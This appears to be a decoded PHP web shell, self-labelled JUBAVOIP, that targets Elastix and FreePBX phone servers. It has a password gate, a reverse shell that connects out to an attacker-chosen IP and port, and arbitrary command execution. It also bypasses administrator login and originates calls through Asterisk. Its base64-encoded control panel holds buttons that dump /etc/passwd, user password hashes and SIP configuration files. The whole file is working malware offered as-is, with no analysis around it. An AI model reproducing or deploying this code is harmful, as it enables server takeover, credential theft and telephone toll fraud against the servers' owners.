PHP Decode

session_start(); 
if (isset($_REQUEST['md5']) && md5($_REQUEST['md5']) == '0bc02e3d57d7a4a0d31becd82e45eebf') { 
    $_SESSION['JUBAVOIP'] = 'logged'; 
} 
if (!isset($_SESSION['JUBAVOIP'])) { 
    echo '<form action="" method="post">'; 
    echo '<input type="text" name="md5" size="32" />'; 
    echo '<input type="submit" name="JUBAVOIP" value="JUBAVOIP" /> '; 
    echo '</form>'; 
    echo '<? -- JUBAVOIP:147.135.27.31 -- ?>'; 
    exit(); 
} 
if (isset($_REQUEST['ip']) && isset($_REQUEST['port'])) { 
    $sock = fsockopen($_REQUEST['ip'], $_REQUEST['port']); 
    $proc = proc_open("python -c 'import pty; pty.spawn(\"bash\")'", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes); 
} 
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Elastix') { 
    session_destroy(); 
    session_name("elastixSession"); 
    session_start(); 
    $_SESSION['JUBAVOIP'] = 'logged'; 
    include_once "/var/www/html/libs/paloSantoDB.class.php"; 
    include_once "/var/www/html/libs/paloSantoACL.class.php"; 
    $pDB = new paloDB("sqlite3:////var/www/db/acl.db"); 
    $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); 
    $_SESSION['elastix_user'] = $db[0][0]; 
    $_SESSION['elastix_pass'] = $db[0][1]; 
    header("Location: /index.php"); 
} 
if (isset($_REQUEST['admin']) && $_REQUEST['admin'] == 'Freepbx') { 
    if (!@include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) { 
        include_once('/etc/asterisk/freepbx.conf'); 
    } 
    require_once('/var/www/html/admin/libraries/ampuser.class.php'); 
    $_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']); 
    $_SESSION['AMP_user']->setAdmin(); 
    header("Location: /admin/config.php"); 
} 
if (!isset($_REQUEST['q'])) { 
    echo base64_decode('PGgxIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij5USEVZIENBTEwgTUUgSlVCQVZPSVAgOik8L2gxPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgIDxiPkNBTEw8L2I+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjb250ZXh0IiB2YWx1ZT0iYXN0ZXJpc2stb3V0Y2FsbHMiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGltZSIgdmFsdWU9IjYwIiAvPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBycyIgdmFsdWU9IjAwIiAvPgogICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im51bSIgcGxhY2Vob2xkZXI9Im51bWJlciIgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImNhbGwiIHZhbHVlPSJjYWxsIiAvPgo8L2Zvcm0+PGJyIC8+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgPGI+UkVWRVJTRSBTSEVMTDwvYj4KICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpcCIgcGxhY2Vob2xkZXI9IjAuMC4wLjAiIC8+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwODAiIC8+CiAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjYWxsIiB2YWx1ZT0iQ29ubmVjdCIgLz4KPC9mb3JtPgo8YnIgLz4KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICA8Yj5DTUQ8L2I+CiAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPgogICAgPGhyIC8+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0ibHMgLWxhIj5MaXN0IEZpbGU8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJwcyAtYXV4IC0tZm9yZXN0Ij5Qcm9jY2VzcyBMaXN0PC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0nbXlzcWwgLS11c2VyPSJyb290IiAtLXBhc3N3b3JkPSIiIC0tZGF0YWJhc2U9ImFzdGVyaXNrIiAtZSAic2VsZWN0ICogZnJvbSBhbXB1c2VycyBcRzsiOyc+QW1wdXNlcnM8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9wYXNzd2QgfCBncmVwIHNoJCI+UGFzc3dkPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY3JvbnRhYiAtbCI+Q3JvbnRhYjwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImFzdGVyaXNrIC1yeCAnY29yZSBzaG93IGNoYW5uZWxzJyI+U2hvdyBDaGFubmVsczwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImFzdGVyaXNrIC1yeCAnc2lwIHNob3cgcGVlcnMnIj5TaXAgUGVlcnM8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJhc3RlcmlzayAtcnggJ3Bqc2lwIHNob3cgcmVnaXN0cmF0aW9ucyciPlBKU2lwIFJlZ2lzdHJhdGlvbnM8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9wanNpcCoiPlBKU0lQPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvYXN0ZXJpc2svc2lwX2FkZGl0aW9uYWwuY29uZiI+U0lQIEFkZGl0aW9uYWw8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9hc3Rlcmlzay9leHRlbnNpb25zX2N1c3RvbS5jb25mIj5FeHRlbnNpb25zPC9idXR0b24+CiAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgbmFtZT0iY21kIiB2YWx1ZT0iY2F0IC9ldGMvZWxhc3RpeC5jb25mIj5FbGFzdGl4LmNvbmY8L2J1dHRvbj4KICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBuYW1lPSJjbWQiIHZhbHVlPSJjYXQgL2V0Yy9pc3NhYmxlLmNvbmYiPklzc2FibGUuY29uZjwvYnV0dG9uPgogICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9ImNtZCIgdmFsdWU9ImNhdCAvZXRjL2FtcG9ydGFsLmNvbmYiPmFtcG9ydGFsLmNvbmY8L2J1dHRvbj4KPC9mb3JtPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJnZXQiPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYWRtaW4iIHZhbHVlPSJFbGFzdGl4IiAvPgogICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYWRtaW4iIHZhbHVlPSJGcmVlcGJ4IiAvPgo8L2Zvcm0+CjxwcmU+'); 
    echo '<pre>'; 
} 
if (isset($_REQUEST['cmd'])) { 
    echo system($_REQUEST['cmd']); 
} 
if (isset($_REQUEST['call'])) { 
    system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"'); 
}